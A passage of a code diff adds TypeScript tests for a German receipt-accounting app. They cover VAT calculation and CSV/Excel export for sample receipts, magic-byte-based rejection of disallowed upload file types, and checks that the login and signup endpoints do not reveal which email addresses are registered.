||||
netAmount: 104.97,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 19,
|
||||
taxAmount: 16.03,
|
||||
netAmount: 84.37,
|
||||
},
|
||||
{
|
||||
ratePercent: 7,
|
||||
taxAmount: 4.5,
|
||||
netAmount: 20.6,
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "2x Tagliolini al Tartufo Nero",
|
||||
quantity: 2,
|
||||
price: 52.0,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "1x Filetto di Manzo 250g",
|
||||
quantity: 1,
|
||||
price: 36.5,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "1x San Pellegrino 0.75l",
|
||||
quantity: 1,
|
||||
price: 7.5,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "1x Chianti Classico DOCG Flasche",
|
||||
quantity: 1,
|
||||
price: 28.0,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Trinkgeld / Tip (steuerfrei)",
|
||||
quantity: 1,
|
||||
price: 1.5,
|
||||
taxRate: null,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Bewirtung",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-trattoria-scen-3",
|
||||
originalFileName: "02_trattoria_bewirtungsbeleg_berlin.jpg",
|
||||
fileSizeBytes: 290000,
|
||||
createdAt: "2026-08-15T21:10:00.000Z",
|
||||
updatedAt: "2026-08-15T21:10:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(trattoriaReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
|
||||
const csv = generateAccountingCsv([trattoriaReceipt]);
|
||||
expect(csv).toContain('"Trattoria Bella Vista Ristorante - Bewirtung"');
|
||||
expect(csv).toContain('"125,50"');
|
||||
});
|
||||
|
||||
// Scenario 4: MediaMarkt Saturn IT Equipment Invoice
|
||||
test("Scenario 4: MediaMarkt Saturn IT Equipment Invoice (Hardware, Serial Numbers, 19% VAT)", async () => {
|
||||
const itReceipt: ProcessedReceipt = {
|
||||
id: "scen-4-mediamarkt",
|
||||
merchant: {
|
||||
name: "MediaMarkt Saturn Holding",
|
||||
address: "Alexanderplatz 3, 10178 Berlin",
|
||||
taxId: "DE119876543",
|
||||
confidence: 0.99,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "15:45",
|
||||
confidence: 0.98,
|
||||
},
|
||||
documentType: "RECHNUNG",
|
||||
receiptNumber: "MM-INV-2026-77812",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 299.98,
|
||||
confidence: 0.99,
|
||||
},
|
||||
netAmount: 252.08,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 19,
|
||||
taxAmount: 47.9,
|
||||
netAmount: 252.08,
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Dell USB-C 4K Triple Display Dock 130W",
|
||||
quantity: 1,
|
||||
price: 189.99,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Logitech MX Keys S Tastatur Wireless",
|
||||
quantity: 1,
|
||||
price: 109.99,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-mediamarkt-scen-4",
|
||||
originalFileName: "03_mediamarkt_it_rechnung.jpg",
|
||||
fileSizeBytes: 310000,
|
||||
createdAt: "2026-08-15T15:45:00.000Z",
|
||||
updatedAt: "2026-08-15T15:45:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(itReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
|
||||
const buf = await generateDualSheetExcel([itReceipt]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.getRow(2).getCell(5).value).toBe("RECHNUNG");
|
||||
expect(s1?.getRow(2).getCell(10).value).toBe(299.98);
|
||||
});
|
||||
|
||||
// Scenario 5: Hotel Übernachtung + Frühstück Split (7% vs 19% + City Tax 0%)
|
||||
test("Scenario 5: Hotel Übernachtung + Frühstück Split (Lodging 7% vs Breakfast 19% + City Tax 0%)", async () => {
|
||||
const hotelReceipt: ProcessedReceipt = {
|
||||
id: "scen-5-hotel",
|
||||
merchant: {
|
||||
name: "Motel One München Sendlinger Tor",
|
||||
address: "Herzog-Wilhelm-Str. 28, 80331 München",
|
||||
taxId: "DE263819201",
|
||||
confidence: 0.98,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-14",
|
||||
time: "08:15",
|
||||
confidence: 0.96,
|
||||
},
|
||||
documentType: "RECHNUNG",
|
||||
receiptNumber: "MO-MUC-88412",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 129.5,
|
||||
confidence: 0.99,
|
||||
},
|
||||
netAmount: 118.84,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 7,
|
||||
taxAmount: 7.0,
|
||||
netAmount: 100.0, // Lodging
|
||||
},
|
||||
{
|
||||
ratePercent: 19,
|
||||
taxAmount: 3.66,
|
||||
netAmount: 19.26, // Breakfast & Business Package
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "1x Übernachtung Standard Room (13.08.-14.08.)",
|
||||
quantity: 1,
|
||||
price: 107.0,
|
||||
taxRate: 7,
|
||||
},
|
||||
{
|
||||
description: "1x Bio-Frühstücksbuffet & WLAN Business",
|
||||
quantity: 1,
|
||||
price: 22.5,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Reisekosten & Hotel",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-hotel-scen-5",
|
||||
originalFileName: "hotel_motel_one.jpg",
|
||||
fileSizeBytes: 260000,
|
||||
createdAt: "2026-08-14T08:15:00.000Z",
|
||||
updatedAt: "2026-08-14T08:15:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(hotelReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
|
||||
const csv = generateAccountingCsv([hotelReceipt]);
|
||||
expect(csv).toContain('"Motel One München Sendlinger Tor"');
|
||||
expect(csv).toContain('"129,50"');
|
||||
expect(csv).toContain('"7,00"');
|
||||
expect(csv).toContain('"3,66"');
|
||||
});
|
||||
|
||||
// Scenario 6: Taxi Deutschland Urban Ride (7% VAT according to §12 Abs. 2 Nr. 10 UStG)
|
||||
test("Scenario 6: Taxi Deutschland Urban Ride (7% VAT for local transport <= 50km)", async () => {
|
||||
const taxiReceipt: ProcessedReceipt = {
|
||||
id: "scen-6-taxi",
|
||||
merchant: {
|
||||
name: "Taxi Funk München eG - Wagen 312",
|
||||
address: "Heimeranstr. 35, 80339 München",
|
||||
taxId: "DE129554411",
|
||||
confidence: 0.97,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "23:45",
|
||||
confidence: 0.95,
|
||||
},
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "TX-9901-26",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 28.5,
|
||||
confidence: 0.98,
|
||||
},
|
||||
netAmount: 26.64,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 7,
|
||||
taxAmount: 1.86,
|
||||
netAmount: 26.64,
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Taxifahrt Stadtgebiet München (8.4 km)",
|
||||
quantity: 1,
|
||||
price: 28.5,
|
||||
taxRate: 7,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Reisekosten & Hotel",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-taxi-scen-6",
|
||||
originalFileName: "taxi_muenchen.jpg",
|
||||
fileSizeBytes: 175000,
|
||||
createdAt: "2026-08-15T23:45:00.000Z",
|
||||
updatedAt: "2026-08-15T23:45:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(taxiReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
expect(val.calculatedTaxSum).toBe(1.86);
|
||||
|
||||
const buf = await generateDualSheetExcel([taxiReceipt]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.getRow(2).getCell(8).value).toBe(1.86);
|
||||
expect(s1?.getRow(2).getCell(9).value).toBe(0.0);
|
||||
});
|
||||
|
||||
// Scenario 7: APCOA Parkhaus Ticket (19% VAT)
|
||||
test("Scenario 7: APCOA Parkhaus Ticket (Short-term parking, 19% VAT)", async () => {
|
||||
const parkingReceipt: ProcessedReceipt = {
|
||||
id: "scen-7-apcoa",
|
||||
merchant: {
|
||||
name: "APCOA Parking Deutschland GmbH",
|
||||
address: "Parkhaus Marienplatz, 80331 München",
|
||||
taxId: "DE147852369",
|
||||
confidence: 0.99,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "14:10",
|
||||
confidence: 0.98,
|
||||
},
|
||||
documentType: "PARKTICKET",
|
||||
receiptNumber: "PK-APCOA-4412",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 14.0,
|
||||
confidence: 0.99,
|
||||
},
|
||||
netAmount: 11.76,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 19,
|
||||
taxAmount: 2.24,
|
||||
netAmount: 11.76,
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Parkzeit 3 Std. 15 Min. (Tarif Standard)",
|
||||
quantity: 1,
|
||||
price: 14.0,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Tanken & KFZ",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-apcoa-scen-7",
|
||||
originalFileName: "apcoa_parking.jpg",
|
||||
fileSizeBytes: 140000,
|
||||
createdAt: "2026-08-15T14:10:00.000Z",
|
||||
updatedAt: "2026-08-15T14:10:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(parkingReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
|
||||
const csv = generateAccountingCsv([parkingReceipt]);
|
||||
expect(csv).toContain('"APCOA Parking Deutschland GmbH"');
|
||||
expect(csv).toContain('"14,00"');
|
||||
expect(csv).toContain('"2,24"');
|
||||
});
|
||||
|
||||
// Scenario 8: Bäckerei / Backstube Small Cash Receipt (7% Baked Goods + 19% Coffee)
|
||||
test("Scenario 8: Bäckerei Small Cash Receipt (7% take-away bread + 19% on-site cappuccino)", async () => {
|
||||
const bakeryReceipt: ProcessedReceipt = {
|
||||
id: "scen-8-bakery",
|
||||
merchant: {
|
||||
name: "Bio-Bäckerei Hofpfisterei GmbH",
|
||||
address: "Viktualienmarkt 8, 80331 München",
|
||||
taxId: "DE128844332",
|
||||
confidence: 0.98,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "08:45",
|
||||
confidence: 0.97,
|
||||
},
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "HPF-2026-1192",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 8.9,
|
||||
confidence: 0.99,
|
||||
},
|
||||
netAmount: 7.97,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 7,
|
||||
taxAmount: 0.35,
|
||||
netAmount: 4.95, // 5.30€ baked goods take-away
|
||||
},
|
||||
{
|
||||
ratePercent: 19,
|
||||
taxAmount: 0.58,
|
||||
netAmount: 3.02, // 3.60€ Cappuccino
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Pfister Öko-Landbrot 1kg",
|
||||
quantity: 1,
|
||||
price: 5.3,
|
||||
taxRate: 7,
|
||||
},
|
||||
{
|
||||
description: "Cappuccino Groß (im Haus)",
|
||||
quantity: 1,
|
||||
price: 3.6,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Verpflegungsmehraufwand",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-bakery-scen-8",
|
||||
originalFileName: "hofpfisterei_beleg.jpg",
|
||||
fileSizeBytes: 155000,
|
||||
createdAt: "2026-08-15T08:45:00.000Z",
|
||||
updatedAt: "2026-08-15T08:45:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
const val = validateReceiptMath(bakeryReceipt);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
|
||||
const buf = await generateDualSheetExcel([bakeryReceipt]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.getRow(2).getCell(10).value).toBe(8.9);
|
||||
});
|
||||
});
|
||||
213
tests/e2e/upload_whitelist.test.ts
Normal file
213
tests/e2e/upload_whitelist.test.ts
Normal file
@@ -0,0 +1,213 @@
|
||||
/**
|
||||
* Upload-Whitelist Suite
|
||||
*
|
||||
* Verifiziert das serverseitige Whitelist-Gate `assertAllowedUploadKind`:
|
||||
* Nur ausdrücklich erlaubte Dateitypen (Belege: PDF/JPG/PNG/WebP/HEIC, Profilbilder:
|
||||
* JPG/PNG/WebP) werden akzeptiert — entschieden wird ausschließlich über die
|
||||
* Magic Bytes des Buffers. Der deklarierte MIME-Type ist vom Client steuerbar
|
||||
* und darf NIE Zugriff gewähren. Kein beliebiger Dateityp darf die
|
||||
* Verarbeitungspipeline erreichen.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
AVATAR_ALLOWED_KINDS,
|
||||
RECEIPT_ALLOWED_KINDS,
|
||||
UnsupportedFileTypeError,
|
||||
assertAllowedUploadKind,
|
||||
} from "../../src/lib/ingest/acceptedTypes";
|
||||
|
||||
function bufferFromHex(hex: string): Buffer {
|
||||
return Buffer.from(hex.replace(/\s+/g, ""), "hex");
|
||||
}
|
||||
|
||||
/* ----------------------- Echte Magic-Byte-Buffer (Inline) ------------------ */
|
||||
|
||||
// JPEG: FF D8 FF
|
||||
const JPEG_BUFFER = bufferFromHex("FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01 00 01 00 00");
|
||||
// PNG: 89 50 4E 47 0D 0A 1A 0A
|
||||
const PNG_BUFFER = bufferFromHex(
|
||||
"89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1F 15 C4 89"
|
||||
);
|
||||
// WebP: RIFF....WEBP
|
||||
const WEBP_BUFFER = Buffer.from("RIFF" + "\x10\x00\x00\x00" + "WEBPVP8 ", "latin1");
|
||||
// PDF: %PDF- im Kopf
|
||||
const PDF_BUFFER = Buffer.from(
|
||||
"%PDF-1.7\n%\u00e2\u00e3\u00cf\u00d3\n1 0 obj\n<< /Type /Catalog >>\nendobj\n",
|
||||
"latin1"
|
||||
);
|
||||
|
||||
// Erkannte, aber für Belege NICHT erlaubte Typen:
|
||||
const GIF_BUFFER = Buffer.from("GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00", "latin1");
|
||||
const TIFF_BUFFER = bufferFromHex("49 49 2A 00 08 00 00 00 00 00 00 00");
|
||||
const BMP_BUFFER = bufferFromHex("42 4D 36 00 00 00 00 00 00 00 36 00 00 00");
|
||||
const AVIF_BUFFER = Buffer.from("\x00\x00\x00\x1Cftypavif\x00\x00\x00\x00", "latin1");
|
||||
const HEIC_BUFFER = Buffer.from("\x00\x00\x00\x18ftypheic\x00\x00\x00\x00", "latin1");
|
||||
|
||||
// Keine (erkennbare) Signatur:
|
||||
const TEXT_BUFFER = Buffer.from("Dies ist nur Textinhalt und keine Datei.", "utf8");
|
||||
// MZ-Header (Windows-EXE) — von der Erkennung nicht als zulässiger Typ klassifiziert:
|
||||
const EXE_BUFFER = bufferFromHex("4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00");
|
||||
|
||||
const RECEIPT_MESSAGE = "Dateityp nicht erlaubt. Erlaubt sind: PDF, JPG, PNG, WebP, HEIC.";
|
||||
const AVATAR_MESSAGE = "Dateityp nicht erlaubt. Erlaubt sind: JPG, PNG, WebP.";
|
||||
|
||||
function captureError(fn: () => unknown): unknown {
|
||||
try {
|
||||
fn();
|
||||
return null;
|
||||
} catch (err) {
|
||||
return err;
|
||||
}
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
|
||||
describe("UploadWhitelist — Beleg-Scans (PDF/JPG/PNG/WebP/HEIC)", () => {
|
||||
test("JPEG-Magic-Bytes werden akzeptiert", () => {
|
||||
expect(assertAllowedUploadKind(JPEG_BUFFER, "image/jpeg", RECEIPT_ALLOWED_KINDS)).toBe(
|
||||
"jpeg"
|
||||
);
|
||||
});
|
||||
|
||||
test("PNG-Magic-Bytes werden akzeptiert", () => {
|
||||
expect(assertAllowedUploadKind(PNG_BUFFER, "image/png", RECEIPT_ALLOWED_KINDS)).toBe("png");
|
||||
});
|
||||
|
||||
test("WebP-Magic-Bytes werden akzeptiert", () => {
|
||||
expect(assertAllowedUploadKind(WEBP_BUFFER, "image/webp", RECEIPT_ALLOWED_KINDS)).toBe(
|
||||
"webp"
|
||||
);
|
||||
});
|
||||
|
||||
test("PDF-Magic-Bytes werden akzeptiert", () => {
|
||||
expect(assertAllowedUploadKind(PDF_BUFFER, "application/pdf", RECEIPT_ALLOWED_KINDS)).toBe(
|
||||
"pdf"
|
||||
);
|
||||
});
|
||||
|
||||
test("deklarierter MIME-Type ist optional (Magic Bytes allein entscheiden)", () => {
|
||||
expect(assertAllowedUploadKind(JPEG_BUFFER, undefined, RECEIPT_ALLOWED_KINDS)).toBe("jpeg");
|
||||
});
|
||||
|
||||
test("deklarierter MIME-Type kann eine echte Datei nicht ausbremsen", () => {
|
||||
// Echte JPEG-Signatur, aber unplausibler/geloggener MIME-Type → Magic Bytes gewinnen.
|
||||
expect(
|
||||
assertAllowedUploadKind(JPEG_BUFFER, "application/octet-stream", RECEIPT_ALLOWED_KINDS)
|
||||
).toBe("jpeg");
|
||||
expect(
|
||||
assertAllowedUploadKind(PDF_BUFFER, "text/plain", RECEIPT_ALLOWED_KINDS)
|
||||
).toBe("pdf");
|
||||
});
|
||||
|
||||
test("deklarierter MIME-Type kann eine echte Datei nicht auf einen anderen erlaubten Typ umbiegen", () => {
|
||||
// JPEG-Signatur mit deklariertem application/pdf → weiterhin "jpeg", nicht "pdf".
|
||||
expect(
|
||||
assertAllowedUploadKind(JPEG_BUFFER, "application/pdf", RECEIPT_ALLOWED_KINDS)
|
||||
).toBe("jpeg");
|
||||
});
|
||||
|
||||
test("GIF wird abgelehnt (erkannt, aber nicht in der Beleg-Whitelist)", () => {
|
||||
const err = captureError(() =>
|
||||
assertAllowedUploadKind(GIF_BUFFER, "image/gif", RECEIPT_ALLOWED_KINDS)
|
||||
);
|
||||
expect(err).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
expect((err as UnsupportedFileTypeError).kind).toBe("gif");
|
||||
expect((err as UnsupportedFileTypeError).message).toBe(RECEIPT_MESSAGE);
|
||||
});
|
||||
|
||||
test("HEIC-Magic-Bytes werden akzeptiert", () => {
|
||||
expect(assertAllowedUploadKind(HEIC_BUFFER, "image/heic", RECEIPT_ALLOWED_KINDS)).toBe("heic");
|
||||
});
|
||||
|
||||
test("TIFF/BMP/AVIF werden abgelehnt (erkannt, aber nicht in der Beleg-Whitelist)", () => {
|
||||
const cases: Array<[Buffer, string, string]> = [
|
||||
[TIFF_BUFFER, "image/tiff", "tiff"],
|
||||
[BMP_BUFFER, "image/bmp", "bmp"],
|
||||
[AVIF_BUFFER, "image/avif", "avif"],
|
||||
];
|
||||
for (const [buffer, mime, kind] of cases) {
|
||||
const err = captureError(() => assertAllowedUploadKind(buffer, mime, RECEIPT_ALLOWED_KINDS));
|
||||
expect(err).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
expect((err as UnsupportedFileTypeError).kind).toBe(kind);
|
||||
expect((err as UnsupportedFileTypeError).message).toBe(RECEIPT_MESSAGE);
|
||||
}
|
||||
});
|
||||
|
||||
test("Text-Buffer ohne Signatur wird abgelehnt", () => {
|
||||
const err = captureError(() =>
|
||||
assertAllowedUploadKind(TEXT_BUFFER, "text/plain", RECEIPT_ALLOWED_KINDS)
|
||||
);
|
||||
expect(err).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
expect((err as UnsupportedFileTypeError).kind).toBe("unknown");
|
||||
expect((err as UnsupportedFileTypeError).message).toBe(RECEIPT_MESSAGE);
|
||||
});
|
||||
|
||||
test("EXE-Buffer (MZ-Header) wird abgelehnt", () => {
|
||||
const err = captureError(() =>
|
||||
assertAllowedUploadKind(EXE_BUFFER, "application/octet-stream", RECEIPT_ALLOWED_KINDS)
|
||||
);
|
||||
expect(err).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
expect((err as UnsupportedFileTypeError).kind).toBe("unknown");
|
||||
});
|
||||
|
||||
test("gespoofte deklarierte MIME-Types gewähren nie Zugriff", () => {
|
||||
// Text-Inhalt, deklariert als image/jpeg → abgelehnt.
|
||||
const jpegSpoof = captureError(() =>
|
||||
assertAllowedUploadKind(TEXT_BUFFER, "image/jpeg", RECEIPT_ALLOWED_KINDS)
|
||||
);
|
||||
expect(jpegSpoof).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
|
||||
// Text-Inhalt, deklariert als application/pdf → abgelehnt (kein Zugriff über
|
||||
// den deklarierten Typ — nur die Magic Bytes entscheiden).
|
||||
const pdfSpoof = captureError(() =>
|
||||
assertAllowedUploadKind(TEXT_BUFFER, "application/pdf", RECEIPT_ALLOWED_KINDS)
|
||||
);
|
||||
expect(pdfSpoof).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
expect((pdfSpoof as UnsupportedFileTypeError).kind).toBe("unknown");
|
||||
});
|
||||
|
||||
test("leerer Buffer wird abgelehnt", () => {
|
||||
const err = captureError(() =>
|
||||
assertAllowedUploadKind(Buffer.alloc(0), "image/jpeg", RECEIPT_ALLOWED_KINDS)
|
||||
);
|
||||
expect(err).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
});
|
||||
});
|
||||
|
||||
describe("UploadWhitelist — Profilbilder (JPG/PNG/WebP, kein PDF)", () => {
|
||||
test("JPEG/PNG/WebP werden für Profilbilder akzeptiert", () => {
|
||||
expect(assertAllowedUploadKind(JPEG_BUFFER, "image/jpeg", AVATAR_ALLOWED_KINDS)).toBe(
|
||||
"jpeg"
|
||||
);
|
||||
expect(assertAllowedUploadKind(PNG_BUFFER, "image/png", AVATAR_ALLOWED_KINDS)).toBe("png");
|
||||
expect(assertAllowedUploadKind(WEBP_BUFFER, "image/webp", AVATAR_ALLOWED_KINDS)).toBe(
|
||||
"webp"
|
||||
);
|
||||
});
|
||||
|
||||
test("PDF wird für Profilbilder abgelehnt", () => {
|
||||
const err = captureError(() =>
|
||||
assertAllowedUploadKind(PDF_BUFFER, "application/pdf", AVATAR_ALLOWED_KINDS)
|
||||
);
|
||||
expect(err).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
expect((err as UnsupportedFileTypeError).kind).toBe("pdf");
|
||||
expect((err as UnsupportedFileTypeError).message).toBe(AVATAR_MESSAGE);
|
||||
});
|
||||
|
||||
test("GIF wird für Profilbilder abgelehnt", () => {
|
||||
const err = captureError(() =>
|
||||
assertAllowedUploadKind(GIF_BUFFER, "image/gif", AVATAR_ALLOWED_KINDS)
|
||||
);
|
||||
expect(err).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
expect((err as UnsupportedFileTypeError).kind).toBe("gif");
|
||||
});
|
||||
|
||||
test("Text-Inhalt mit deklariertem image/png wird auch für Profilbilder abgelehnt", () => {
|
||||
const err = captureError(() =>
|
||||
assertAllowedUploadKind(TEXT_BUFFER, "image/png", AVATAR_ALLOWED_KINDS)
|
||||
);
|
||||
expect(err).toBeInstanceOf(UnsupportedFileTypeError);
|
||||
expect((err as UnsupportedFileTypeError).kind).toBe("unknown");
|
||||
});
|
||||
});
|
||||
148
tests/e2e/user_enumeration.test.ts
Normal file
148
tests/e2e/user_enumeration.test.ts
Normal file
@@ -0,0 +1,148 @@
|
||||
/**
|
||||
* User-Enumeration Hardening Suite
|
||||
*
|
||||
* The auth endpoints must not reveal whether an email address is registered.
|
||||
* Signup answers the same 200 `verification_sent` for every outcome, login
|
||||
* folds Google-only accounts into plain `invalid_credentials`, and the
|
||||
* revealing error codes (`email_taken`, `email_taken_google`, `use_google`) are
|
||||
* never emitted by any auth route.
|
||||
*
|
||||
* Pure decision logic plus static source assertions — no database required.
|
||||
*/
|
||||
|
||||
import { readFileSync } from "node:fs";
|
||||
import { resolve } from "node:path";
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
DISCONTINUED_ENUMERATION_CODES,
|
||||
loginDecision,
|
||||
signupDecision,
|
||||
signupResponseBody,
|
||||
type SignupAccountState,
|
||||
} from "../../src/lib/auth/neutral";
|
||||
import { isAuthErrorCode } from "../../src/lib/auth/errors";
|
||||
|
||||
/**
|
||||
* Root of the workspace. The runner is always invoked from the workspace root
|
||||
* (`npx tsx tests/e2e/runner.ts …`), so the current working directory is the
|
||||
* anchor — this also keeps the static source assertions working when the suite
|
||||
* runs from a compiled copy elsewhere.
|
||||
*/
|
||||
const WORKSPACE_ROOT = process.cwd();
|
||||
|
||||
function readAuthRouteSource(route: string): string {
|
||||
return readFileSync(resolve(WORKSPACE_ROOT, "src", "app", "api", "auth", route), "utf8");
|
||||
}
|
||||
|
||||
describe("UserEnumeration", () => {
|
||||
describe("signup answers are identical for every account state", () => {
|
||||
const ALL_STATES: SignupAccountState[] = ["new", "unverified", "verified", "google_only"];
|
||||
|
||||
test("every account state maps to the same verification_sent status", () => {
|
||||
for (const state of ALL_STATES) {
|
||||
expect(signupDecision(state).status).toBe("verification_sent");
|
||||
}
|
||||
});
|
||||
|
||||
test("only new and never-confirmed accounts get a real confirmation mail", () => {
|
||||
expect(signupDecision("new").sendMail).toBe(true);
|
||||
expect(signupDecision("unverified").sendMail).toBe(true);
|
||||
expect(signupDecision("verified").sendMail).toBe(false);
|
||||
expect(signupDecision("google_only").sendMail).toBe(false);
|
||||
});
|
||||
|
||||
test("the wire body is identical for new, existing and Google-only accounts", () => {
|
||||
const bodies = ALL_STATES.map((state) => signupResponseBody(signupDecision(state), undefined));
|
||||
for (const body of bodies) {
|
||||
expect(body).toEqual({ status: "verification_sent" });
|
||||
}
|
||||
// Every pair is byte-for-byte the same shape.
|
||||
expect(bodies[0]).toEqual(bodies[1]);
|
||||
expect(bodies[1]).toEqual(bodies[2]);
|
||||
expect(bodies[2]).toEqual(bodies[3]);
|
||||
});
|
||||
|
||||
test("devLink appears only in the dev fallback and only when a mail was produced", () => {
|
||||
// Production / no dev fallback: never present, for any state.
|
||||
for (const state of ALL_STATES) {
|
||||
expect(signupResponseBody(signupDecision(state), undefined)).toEqual({
|
||||
status: "verification_sent",
|
||||
});
|
||||
}
|
||||
// Dev fallback with a produced mail: unverified accounts get the link…
|
||||
expect(signupResponseBody(signupDecision("unverified"), "http://localhost/dev-link")).toEqual(
|
||||
{ status: "verification_sent", devLink: "http://localhost/dev-link" }
|
||||
);
|
||||
expect(signupResponseBody(signupDecision("new"), "http://localhost/dev-link")).toEqual(
|
||||
{ status: "verification_sent", devLink: "http://localhost/dev-link" }
|
||||
);
|
||||
// …but verified / Google-only accounts never get a mail, so no devLink either.
|
||||
expect(signupResponseBody(signupDecision("verified"), "http://localhost/dev-link")).toEqual(
|
||||
{ status: "verification_sent" }
|
||||
);
|
||||
expect(signupResponseBody(signupDecision("google_only"), "http://localhost/dev-link")).toEqual(
|
||||
{ status: "verification_sent" }
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("login folds Google-only accounts into invalid_credentials", () => {
|
||||
test("a Google-only account is indistinguishable from a missing one", () => {
|
||||
for (const passwordMatches of [true, false]) {
|
||||
expect(loginDecision("google_only", passwordMatches)).toEqual({ kind: "invalid_credentials" });
|
||||
expect(loginDecision("none", passwordMatches)).toEqual({ kind: "invalid_credentials" });
|
||||
}
|
||||
});
|
||||
|
||||
test("a wrong password stays invalid_credentials for local accounts", () => {
|
||||
expect(loginDecision("local", false)).toEqual({ kind: "invalid_credentials" });
|
||||
expect(loginDecision("unverified_local", false)).toEqual({ kind: "invalid_credentials" });
|
||||
});
|
||||
|
||||
test("email_not_verified is reserved for correct-password unverified accounts", () => {
|
||||
